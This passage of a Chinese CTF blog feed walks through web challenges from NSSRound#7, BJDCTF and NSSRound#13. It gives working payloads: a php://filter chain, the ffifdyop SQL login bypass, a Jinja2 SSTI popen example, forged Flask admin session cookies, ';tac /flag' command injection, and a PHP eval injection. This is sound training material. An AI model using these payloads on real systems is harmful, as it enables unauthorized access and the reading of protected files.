class="string">&quot;aaa&#123;payload&#125;&quot;</span>)&#125;</span><br><span class="line"> </span><br><span class="line">    requests.<span class="title function_ invoke__">post</span>(url,data=data,files=file1)</span><br><span class="line">    requests.<span class="title function_ invoke__">post</span>(url,files=file2,data=data)</span><br><span class="line">    nssctf_text3 = requests.<span class="title function_ invoke__">post</span>(f<span class="string">&#x27;&#123;URL&#125;/1.png.php&#x27;</span>).text</span><br><span class="line">    <span class="keyword">print</span>(nssctf_text3)</span><br><span class="line"> </span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&quot;__main__&quot;</span>:</span><br><span class="line">    <span class="title function_ invoke__">get_flag</span>(<span class="string">&quot;&quot;</span>)<span class="comment">#这里输入url</span></span><br><span class="line"></span><br></pre></td></tr></table></figure><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/PixPin_2025-11-06_18-02-38.png" alt="PixPin_2025-11-06_18-02-38"></p><p>但是其实一开始如果没有目录扫描的话还有一个level1level2。</p><p>请求头有一个参数，提示我们get传参</p><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/PixPin_2025-11-06_18-11-16.png" alt="PixPin_2025-11-06_18-11-16"></p><p>传参后得到代码。</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span>  </span><br><span class="line"><span class="title function_ invoke__">header</span>(<span class="string">&#x27;get:S0uRc3&#x27;</span>);  </span><br><span class="line"><span class="title function_ invoke__">error_reporting</span>(<span class="number">0</span>);  </span><br><span class="line"><span class="title function_ invoke__">set_include_path</span>(<span class="string">&#x27;Round7/&#x27;</span>);  </span><br><span class="line"><span class="comment">// include: Nss  </span></span><br><span class="line"><span class="comment">// include: level2  </span></span><br><span class="line"><span class="keyword">if</span> (<span class="keyword">isset</span>(<span class="variable">$_GET</span>[<span class="string">&#x27;0o0&#x27;</span>])) &#123;    </span><br><span class="line">    <span class="variable">$O0O</span> = <span class="title function_ invoke__">file_get_contents</span>(<span class="variable">$_GET</span>[<span class="string">&#x27;0o0&#x27;</span>],<span class="number">1</span>);  </span><br><span class="line">    <span class="keyword">if</span> (<span class="title function_ invoke__">strpos</span>(<span class="variable">$O0O</span>, <span class="string">&#x27;Round7&#x27;</span>) === <span class="number">0</span>) &#123;  </span><br><span class="line">        <span class="keyword">die</span>(<span class="string">&#x27;NO!!!!!   Permission denied!&#x27;</span>);   </span><br><span class="line">    &#125; <span class="keyword">else</span> <span class="keyword">if</span> (<span class="title function_ invoke__">strpos</span>(<span class="variable">$O0O</span>, <span class="string">&#x27;Xy1on&#x27;</span>) === <span class="number">0</span>) &#123;  </span><br><span class="line">        <span class="keyword">echo</span> <span class="variable">$O0O</span>;  </span><br><span class="line">        <span class="keyword">die</span>();  </span><br><span class="line">    &#125; <span class="keyword">else</span> &#123;  </span><br><span class="line">        <span class="keyword">die</span>(<span class="string">&quot;Nothing!!!&quot;</span>);  </span><br><span class="line">    &#125;  </span><br><span class="line">&#125;  </span><br><span class="line"><span class="keyword">if</span>(<span class="keyword">isset</span>(<span class="variable">$_GET</span>[<span class="string">&#x27;S0uRc3&#x27;</span>]))&#123; </span><br><span class="line">    <span class="title function_ invoke__">highlight_file</span>(<span class="keyword">__FILE__</span>);    </span><br><span class="line">    <span class="variable">$O0O</span> = <span class="title function_ invoke__">file_get_contents</span>(<span class="string">&#x27;CTF&#x27;</span>,<span class="number">1</span>);  </span><br><span class="line">    <span class="keyword">echo</span> <span class="variable">$O0O</span>;  </span><br><span class="line">&#125;<span class="keyword">else</span>&#123;  </span><br><span class="line">    <span class="keyword">echo</span> <span class="string">&quot;Nothing here&quot;</span>;  </span><br><span class="line">      </span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>进行代码审计，</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span> (<span class="keyword">isset</span>(<span class="variable">$_GET</span>[<span class="string">&#x27;0o0&#x27;</span>])) &#123;    </span><br><span class="line">    <span class="variable">$O0O</span> = <span class="title function_ invoke__">file_get_contents</span>(<span class="variable">$_GET</span>[<span class="string">&#x27;0o0&#x27;</span>],<span class="number">1</span>);  </span><br><span class="line">    <span class="keyword">if</span> (<span class="title function_ invoke__">strpos</span>(<span class="variable">$O0O</span>, <span class="string">&#x27;Round7&#x27;</span>) === <span class="number">0</span>) &#123;  </span><br><span class="line">        <span class="keyword">die</span>(<span class="string">&#x27;NO!!!!!   Permission denied!&#x27;</span>);   </span><br><span class="line">    &#125; <span class="keyword">else</span> <span class="keyword">if</span> (<span class="title function_ invoke__">strpos</span>(<span class="variable">$O0O</span>, <span class="string">&#x27;Xy1on&#x27;</span>) === <span class="number">0</span>) &#123;  </span><br><span class="line">        <span class="keyword">echo</span> <span class="variable">$O0O</span>;  </span><br><span class="line">        <span class="keyword">die</span>();  </span><br><span class="line">    &#125; <span class="keyword">else</span> &#123;  </span><br><span class="line">        <span class="keyword">die</span>(<span class="string">&quot;Nothing!!!&quot;</span>);  </span><br><span class="line">    &#125;  </span><br><span class="line">&#125;  </span><br></pre></td></tr></table></figure><p>我们需要传入<code>$_GET[&#39;0o0&#39;]</code>而且，参数通过<code>strpos</code>校验开头不能是<code>Round7</code>必须是<code>Xy1on</code>。</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="variable">$O0O</span> = <span class="title function_ invoke__">file_get_contents</span>(<span class="variable">$_GET</span>[<span class="string">&#x27;0o0&#x27;</span>],<span class="number">1</span>);  </span><br></pre></td></tr></table></figure><p>这一句代码中，<code>1</code>代表用了常量 <strong><code>FILE_USE_INCLUDE_PATH</code></strong> 用于触发搜索 <code>include path</code>，前面的代码</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="title function_ invoke__">set_include_path</span>(<span class="string">&#x27;Round7/&#x27;</span>);  <span class="comment">#把include_path设成Round7</span></span><br></pre></td></tr></table></figure><p>当你传 <code>?0o0=xxx</code> 时，代码会读入 <code>xxx</code> 指向的资源内容到 <code>$O0O</code>。</p><blockquote><p>重要：如果 <code>xxx</code> 是 <strong>相对路径</strong>（如 <code>level2</code>），它会在 <code>Round7/level2</code> 读取。<br> 但如果 <code>xxx</code> 是 <strong>流封装器</strong>（如 <code>php://filter/.../resource=level2</code>、<code>data://...</code>），则不再走 include_path 的相对查找规则，直接按封装器处理。这正是我们可以利用的点。</p></blockquote><p>想要读 <code>/flag</code> 的内容，但脚本只会在<strong>输出内容的第一个字节开始就是 <code>Xy1on</code></strong> 时才把内容回显。</p><p>显然，<code>/flag</code> 文件的真实内容不可能天然以 <code>Xy1on</code> 开头；我们需要“想办法让<strong>输出</strong>看起来以 <code>Xy1on</code> 开头”，而不是改原文件。</p><p><code>php://filter</code> 是 PHP 的<strong>流过滤器</strong>封装器，允许在“读取资源”时，对字节流做一串<strong>可组合的转码&#x2F;编解码&#x2F;替换</strong>操作（filter chain）。形式大概是：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">php://filter/read=&lt;过滤器1&gt;|&lt;过滤器2&gt;|.../resource=&lt;真正的资源&gt;</span><br></pre></td></tr></table></figure><p>如果我们能找到一串过滤器，使得“<code>level2</code> 的原始内容 → 经过过滤器链的<strong>输出</strong>”的<strong>前缀</strong>恰好变成 <code>Xy1on</code>，就能触发 <code>echo $O0O;</code> 了。</p><p><strong>Synacktiv 的 php_filter_chain_generator</strong>。它能针对一个想要的<strong>目标前缀</strong>（例如 <code>Xy1on</code>）自动搜一条可行的过滤器链，把实际文件内容“变形”成以这个前缀开头的输出。</p><p>项目地址：<a href="https://github.com/synacktiv/php_filter_chain_generator">https://github.com/synacktiv/php_filter_chain_generator</a></p><p>生成filter链</p><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/image-20251107181156531.png" alt="image-20251107181156531"></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN5.ISO_6937-2|convert.iconv.CP950.UTF-16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp</span><br></pre></td></tr></table></figure><p>然后就能得到源码的路由了。</p><h2 id="【待】-NSSRound-7-Team-新的博客"><a href="#【待】-NSSRound-7-Team-新的博客" class="headerlink" title="【待】[NSSRound#7 Team]新的博客"></a>【待】[NSSRound#7 Team]新的博客</h2><h2 id="【待】-NSSRound-7-Team-ShadowFlag"><a href="#【待】-NSSRound-7-Team-ShadowFlag" class="headerlink" title="【待】[NSSRound#7 Team]ShadowFlag"></a>【待】[NSSRound#7 Team]ShadowFlag</h2><h2 id="references"><a href="#references" class="headerlink" title="references"></a>references</h2><p><a href="https://y0n3er.github.io/2023/02/NSSRound-7-Team%E5%A4%8D%E7%8E%B0/#0o0">NSSRound 7 Team复现 | ChenXun</a></p><p>[<a href="https://blog.csdn.net/weixin_53090346/article/details/128815454">NSSRound#7 Team]Web学习_[nssround#7 team]新的博客-CSDN博客</a></p><p>[NSSRound#7_<a href="https://blog.csdn.net/qq_64201116/article/details/128922324">nssround#7 team]0o0-CSDN博客</a></p><p><a href="https://www.php.net/manual/zh/function.file-get-contents.php">https://www.php.net/manual/zh/function.file-get-contents.php</a></p><p><a href="https://www.php.net/manual/zh/language.variables.external.php#language.variables.external">PHP: 来自 PHP 之外的变量 - Manual</a></p><p><a href="https://www.cnblogs.com/hithub/p/16804708.html">ctfshow web123(php get或post变量名中非法字符转化下划线) - hithub - 博客园</a></p><p><a href="https://hello-ctf.com/hc-tags/web/PHP_features/#0e-bypass">PHP 特性 - Hello CTF</a></p><p><a href="https://xz.aliyun.com/news/7758">file_put_content和死亡·杂糅代码之缘-先知社区</a></p><p><a href="https://www.cnblogs.com/GTL-JU/p/17139352.html">NSSCTF-round8&amp;&amp;round7部分题目复现 - GTL_JU - 博客园</a></p><p><a href="https://www.php.net/manual/zh/function.file-get-contents.php">PHP: file_get_contents - Manual</a></p>]]>
    </content>
    <id>https://everythingis-ok.github.io/2025/11/07/NSSRound-7/</id>
    <link href="https://everythingis-ok.github.io/2025/11/07/NSSRound-7/"/>
    <published>2025-11-07T10:17:38.000Z</published>
    <summary>
      <![CDATA[<h1 id="【更新中】-NSSRound-7-Team-web"><a href="#【更新中】-NSSRound-7-Team-web" class="headerlink" title="【更新中】[NSSRound#7 Team]web"></a>【更新中】[NSSRo]]>
    </summary>
    <title>NSSRound#7</title>
    <updated>2025-11-07T10:18:02.086Z</updated>
  </entry>
  <entry>
    <author>
      <name>seora</name>
    </author>
    <content>
      <![CDATA[<h2 id="BJDCTF-2020-easy-md5"><a href="#BJDCTF-2020-easy-md5" class="headerlink" title="[BJDCTF 2020]easy_md5"></a>[BJDCTF 2020]easy_md5</h2><p>因为前不久刚做过一个让传特殊md5字符串的题，这道第一关直接随便传了个<code>ffifdyop</code>交完flag习惯性看了wp发现传参数是有依据的。</p><p>这里注意到请求包响应头有一个hint，有个select查询语句</p><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/PixPin_2025-11-06_17-01-14.png" alt="PixPin_2025-11-06_17-01-14"></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">select * from ‘admin’ where password =md5($pass,ture)</span><br></pre></td></tr></table></figure><p>了解一下md5函数的用法，</p><p>md5 — 计算字符串的 MD5 散列值。</p><p>md5(string<code>$string</code>, bool <code>$binary</code> &#x3D; <strong><code>false</code></strong>): string</p><p>使用 MD5 消息摘要算法计算 <code>string</code> 的 MD5 散列值，并返回该散列值。</p><ul><li><p><code>string</code></p><p>要计算的字符串。</p></li><li><p><code>binary</code></p><p>如果可选的 <code>binary</code> 被设置为 **<code>true</code>**，那么 md5 摘要将以 16 字符长度的原始二进制格式返回。</p></li></ul><p>那我们需要输入password的md5值，这也就用到我们之前了解到的万能密码<code>ffifdtop</code></p><p>它经过md5加密后：276f722736c95d99e921722cf9ed621c</p><p>再转换为字符串：’or’6&lt;乱码&gt; 即  <code>&#39;or&#39;66�]��!r,��b</code> </p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">select * from ‘admin’ where password =&#x27;or&#x27;6</span><br></pre></td></tr></table></figure><p>就可以通过万能密码实现绕过了。</p><h2 id="references"><a href="#references" class="headerlink" title="references"></a>references</h2><p><a href="https://www.cnblogs.com/tqing/p/11852990.html">ffifdyop——绕过中一个奇妙的字符串 - 你知道是我的 - 博客园</a></p><p><a href="https://www.php.net/manual/zh/function.md5.php">PHP: md5 - Manual</a></p>]]>
    </content>
    <id>https://everythingis-ok.github.io/2025/11/06/BJDCTF-2020-easy-md5/</id>
    <link href="https://everythingis-ok.github.io/2025/11/06/BJDCTF-2020-easy-md5/"/>
    <published>2025-11-06T09:27:47.000Z</published>
    <summary>
      <![CDATA[<h2 id="BJDCTF-2020-easy-md5"><a href="#BJDCTF-2020-easy-md5" class="headerlink" title="[BJDCTF 2020]easy_md5"></a>[BJDCTF 2020]easy_md5</h2]]>
    </summary>
    <title>[BJDCTF 2020]easy_md5</title>
    <updated>2025-11-06T09:28:14.864Z</updated>
  </entry>
  <entry>
    <author>
      <name>seora</name>
    </author>
    <content>
      <![CDATA[<h1 id="NSSCTF-Round-13-部分题目复现"><a href="#NSSCTF-Round-13-部分题目复现" class="headerlink" title="[NSSCTF Round #13]部分题目复现"></a>[NSSCTF Round #13]部分题目复现</h1><p>拖了n久的产物，还有一道TimeTrcer暂时没写没后续补上。</p><h2 id="NSSRound-13-Basic-flask-jwt"><a href="#NSSRound-13-Basic-flask-jwt" class="headerlink" title="[NSSRound#13 Basic]flask?jwt?"></a>[NSSRound#13 Basic]flask?jwt?</h2><p>每个功能点进去看下，发现重置密码这里有hint,</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">th3f1askisfunny</span><br></pre></td></tr></table></figure><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/PixPin_2025-10-24_20-00-59.png" alt="PixPin_2025-10-24_20-00-59"></p><p><strong>Flask</strong> 通常指的是 Python 的一个轻量级 Web 框架，用来快速构建网站或接口。<br> 在安全或 CTF 环境中，说“Flask题”“flask相关漏洞”一般是指：</p><ol><li><strong>Jinja2 模板注入（SSTI）</strong></li></ol><p>Flask 默认使用 Jinja2 作为模板引擎，如果开发者写了诸如：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">render_template_string(&quot;Hello &quot; + request.args.get(&#x27;name&#x27;))</span><br></pre></td></tr></table></figure><p>就会导致用户可控输入被直接当成模板渲染，从而造成 <strong>Server-Side Template Injection（SSTI）</strong>。<br> 攻击者可以利用它执行任意 Python 代码（比如 <code>&#123;&#123; config.__class__.__init__.__globals__['os'].popen('ls').read() &#125;&#125;</code>）。</p><ol start="2"><li><strong>Flask Debug Pin 反序列化 &#x2F; 控制台利用</strong></li></ol><p>如果应用启用了调试模式 <code>app.run(debug=True)</code>，那么攻击者可以尝试通过 Debug PIN 获取交互式控制台，直接执行代码。</p><ol start="3"><li><strong>Session 伪造</strong></li></ol><p>Flask 默认使用签名 cookie 存储 session 数据，如果开发者使用默认 <code>app.secret_key</code> 或者泄露了它，就可以伪造任意 session 内容。</p><ol start="4"><li><strong>Pickle 反序列化</strong></li></ol><p>某些 Flask 题会在 session 或上传点中利用 pickle.loads() 反序列化对象，形成命令执行漏洞。</p><p>注册完账号登陆一下，有个getflag的按钮</p><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/PixPin_2025-10-24_20-05-46.png" alt="PixPin_2025-10-24_20-05-46"></p><p>点击提示用户权限不足，基本确定是session伪造，</p><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/PixPin_2025-10-24_20-05-55.png" alt="PixPin_2025-10-24_20-05-55"></p><p>现在的session:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">.eJwlzjsOwjAMANC7ZGbwL47Ty1RuYgvWlE6Iu1OJ-S3vU_ZccT7L9l5XPMr-mmUrtZHYESZiCgygnpUnGhp4dWqu0Y21i-CARik3po5IhkxMdtBDSbizTkqMqm14ho-W1VVrAjSdA6lDgoohe0poYMfozFzuyHXG-m-ofH8xey3s.aPtrag.EI5J72Qg_ucyF6Rrh3IoeE4Z3R8</span><br></pre></td></tr></table></figure><p>先解码jwt:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">python flask_session_cookie_manager3.py decode -c &#x27;.eJwlzjsOwjAMANC7ZGbwL47Ty1RuYgvWlE6Iu1OJ-S3vU_ZccT7L9l5XPMr-mmUrtZHYESZiCgygnpUnGhp4dWqu0Y21i-CARik3po5IhkxMdtBDSbizTkqMqm14ho-W1VVrAjSdA6lDgoohe0poYMfozFzuyHXG-m-ofH8xey3s.aPtrag.EI5J72Qg_ucyF6Rrh3IoeE4Z3R8&#x27; -s &#x27;th3f1askisfunny&#x27;</span><br></pre></td></tr></table></figure><p>解码后：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&#123;&#x27;_fresh&#x27;: True, &#x27;_id&#x27;: &#x27;57248be8448603006af53d18180a5a27a6e98369441c072f43d1f6cef30ff1f3a06b6243936d2f1e567cafeac7f5a665f0076dc1290f064813af4e6e191e9333&#x27;, &#x27;_user_id&#x27;: &#x27;2&#x27;&#125;</span><br></pre></td></tr></table></figure><p>修改一下<code>_user_id</code>属性，猜测<code>admin</code>的<code>_user_id</code>是<code>1</code></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">python flask_session_cookie_manager3.py encode -s &quot;th3f1askisfunny&quot; -t &quot;&#123;&#x27;_fresh&#x27;: True, &#x27;_id&#x27;: &#x27;06f231c9009af8bd640aa6c80172276e1653f82e55f8820c4fd4c78e8cc286fb5cde1a80b04b0da6ba3b51ada4097611c50f1c05cfd67346f7e3331a98b1481c&#x27;, &#x27;_user_id&#x27;: &#x27;1&#x27;&#125;&quot;</span><br></pre></td></tr></table></figure><p>得到伪造好的session:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">.eJwlzsENwzAIAMBd_O4DbINxlokAg9Jv0ryq7t5KvQnuXfY84zrK9jrveJT9ucpWgLM29AkwNcUWd1BlF8BR6-BAppZSgyhFKnjP1X1IiHsVTiNfgSpg0A2WsmkzQl3aYQ5GdIJEB_JcPFrnHNFaQ51i2AW9_CL3Fed_g-XzBZsFLu0.aPtuug.f8xySJOdowkfZnQI-FV81UNG24s</span><br></pre></td></tr></table></figure><p>修改session拿到flag:</p><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/PixPin_2025-10-24_20-32-49.png" alt="PixPin_2025-10-24_20-32-49"></p><h2 id="NSSRound-13-Basic-ez-factors"><a href="#NSSRound-13-Basic-ez-factors" class="headerlink" title="[NSSRound#13 Basic]ez_factors"></a>[NSSRound#13 Basic]ez_factors</h2><p>题目描述</p><p>原生 Linux 因数爆破工具。flag在根目录</p><p>容易看出，2 31 1847是114514的因数，</p><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/PixPin_2025-10-24_20-43-09.png" alt="PixPin_2025-10-24_20-43-09"></p><p>网址后面&#x2F;factors&#x2F;114514使用分号<code>;</code>来执行多个命令,</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">/factors/114514;tac /flag</span><br></pre></td></tr></table></figure><p>记得进行url编码。</p><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/PixPin_2025-10-24_20-53-44.png" alt="PixPin_2025-10-24_20-53-44"></p><p>发现得到的内容只有数字，看来应该是对回显进行了限制，只能回显数字，</p><p>这种情况下，我们可以使用<code>od</code>命令来读取文件</p><p><code>od -t d1 /flag </code>是一个命令行指令，用于以十进制形式显示 <code>/flag</code> 文件的内容。</p><p>具体来说<code>-t</code> 参数用于指定展示的数据格式，<code>d1</code> 表示每个数值使用一个字节来显示，即按字节读取。</p><p><code>/flag</code> 是文件的路径，这个指令会读取 <code>/flag</code> 文件的内容，并将其以十进制形式进行展示。</p><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/PixPin_2025-10-24_21-01-19.png" alt="PixPin_2025-10-24_21-01-19"></p><p>把这些十进制数字依次转成 ASCII 字符再拼起来，就是：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">NSSC&#123;70240b1e-0bb1-4cc7-84c2-73b51745e53b&#125;</span><br></pre></td></tr></table></figure><h2 id="NSSRound-13-Basic-flask-jwt-hard"><a href="#NSSRound-13-Basic-flask-jwt-hard" class="headerlink" title="[NSSRound#13 Basic]flask?jwt?(hard)"></a>[NSSRound#13 Basic]flask?jwt?(hard)</h2><p>在拿flag这个界面有一个路由，我们访问一下，</p><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/PixPin_2025-10-24_21-07-33.png" alt="PixPin_2025-10-24_21-07-33"></p><p>给了上一次登录的时间。</p><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/PixPin_2025-10-24_21-08-01.png" alt="PixPin_2025-10-24_21-08-01"><br>我们用<code>Flask-Unsign</code>对cookie进行解密，<br>发现刚好cookie里有对应正确的时间，随意修改session查看报错，可以在这查到<code>secret_key</code>是<code>hardgam3_C0u1d_u_f1ndM3????</code></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&#123;&#x27;_fresh&#x27;: True, &#x27;_id&#x27;: &#x27;57248be8448603006af53d18180a5a27a6e98369441c072f43d1f6cef30ff1f3a06b6243936d2f1e567cafeac7f5a665f0076dc1290f064813af4e6e191e9333&#x27;, &#x27;_user_id&#x27;: &#x27;2&#x27;, &#x27;time&#x27;: dateime.datetime(2025, 10, 24, 13, 7, 22, tzifo=datetime.timezone.utc)&#125;</span><br></pre></td></tr></table></figure><p>然后利用<code>flask_session_cookie_manager3</code>来<code>伪造session</code>，使<code>_user_id</code>的值变成<code>1</code></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">flask_session_cookie_manager3.py encode -s &quot;hardgam3_C0u1d_u_f1ndM3????&quot; -t &quot;&#123;&#x27;_fresh&#x27;: True, &#x27;_id&#x27;: &#x27;57248be8448603006af53d18180a5a27a6e98369441c072f43d1f6cef30ff1f3a06b6243936d2f1e567cafeac7f5a665f0076dc1290f064813af4e6e191e9333&#x27;, &#x27;_user_id&#x27;: &#x27;1&#x27;&#125;&quot;</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>payload:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">.eJwlzjEOwzAIAMC_MHcAgzHOZyJig9rVaaaqf2-kzrfcB_ZccT5he68rHrC_JmxQWxE7wkRMkRHVs_IkI0OvXpprdGPtIjSwlZQbU0ckYyYlO-qhRbizzpIUVdvwDB8tq6vWRGw6B5WOiSpG7CmhQZ2iMzPckeuM9d8QfH8xeC3r.aPuCRg.2AOscUKFQ3d_NHrcy1hJkUPx7jw</span><br></pre></td></tr></table></figure><p>得到flag:</p><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/PixPin_2025-10-24_21-43-06.png" alt="PixPin_2025-10-24_21-43-06"></p><h2 id="NSSRound-13-Basic-MyWeb"><a href="#NSSRound-13-Basic-MyWeb" class="headerlink" title="[NSSRound#13 Basic]MyWeb"></a>[NSSRound#13 Basic]MyWeb</h2><p>源代码：</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="title function_ invoke__">error_reporting</span>(E_ALL);</span><br><span class="line"><span class="comment">// 写了个网页存储JSON数据，但是还不会处理json格式，这样处理应该没有什么问题吧</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> (<span class="variable">$_GET</span>[<span class="string">&#x27;mode&#x27;</span>] == <span class="string">&#x27;save&#x27;</span>) &#123;</span><br><span class="line">    <span class="variable">$data</span> = <span class="title function_ invoke__">file_get_contents</span>(<span class="string">&#x27;/tmp/data.json&#x27;</span>);</span><br><span class="line">    <span class="variable">$value</span> = <span class="title function_ invoke__">addslashes</span>(<span class="variable">$_GET</span>[<span class="string">&#x27;value&#x27;</span>]);</span><br><span class="line">    <span class="variable">$data</span> = <span class="title function_ invoke__">str_replace</span>(<span class="string">&#x27;]&#x27;</span>, <span class="string">&quot;, &#x27;<span class="subst">$value</span>&#x27;]&quot;</span>, <span class="variable">$data</span>);</span><br><span class="line">    <span class="title function_ invoke__">file_put_contents</span>(<span class="string">&#x27;/tmp/data.json&#x27;</span>, <span class="variable">$data</span>);</span><br><span class="line">&#125; <span class="keyword">else</span> <span class="keyword">if</span> (<span class="variable">$_GET</span>[<span class="string">&#x27;mode&#x27;</span>] == <span class="string">&#x27;read&#x27;</span>) &#123;</span><br><span class="line">    <span class="variable">$data</span> = <span class="title function_ invoke__">file_get_contents</span>(<span class="string">&#x27;/tmp/data.json&#x27;</span>);</span><br><span class="line">    <span class="keyword">eval</span>(<span class="string">&#x27;$data = &#x27;</span> . <span class="variable">$data</span> . <span class="string">&#x27;;&#x27;</span>);</span><br><span class="line">    <span class="title function_ invoke__">print_r</span>(<span class="variable">$data</span>);</span><br><span class="line">&#125; <span class="keyword">else</span> &#123;</span><br><span class="line">    <span class="title function_ invoke__">highlight_file</span>(<span class="keyword">__FILE__</span>); </span><br></pre></td></tr></table></figure><p>接受mode参数,参数值为save为保存模式:</p><ul><li>从 <code>/tmp/data.json</code> 文件读取原有内容（假设是一个数组格式，如 <code>[&#39;a&#39;, &#39;b&#39;]</code>）。</li><li>获取 URL 参数 <code>value</code>，例如 <code>?mode=save&amp;value=hello</code>。</li><li>用 <code>addslashes()</code> 处理（转义引号等），防止字符串破坏结构。</li><li>用 <code>str_replace()</code> 在 <code>]</code> 前插入新值，形成新的“数组”。</li><li>再次写回文件。</li></ul><p>例如，data,json的内容为：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">[1,&quot;Leaf&quot;,1234]</span><br></pre></td></tr></table></figure><p>然后将value值为6666，执行代码后，data.json中的内容就变为：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">[1,&quot;Leaf&quot;,1234,6666]</span><br></pre></td></tr></table></figure><p>自然想到可以利用sql注入的思路，在json中注释符为<code>//</code>，所以将value的值变为<code>]//</code>，那么后面的代码就会被注释掉。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span 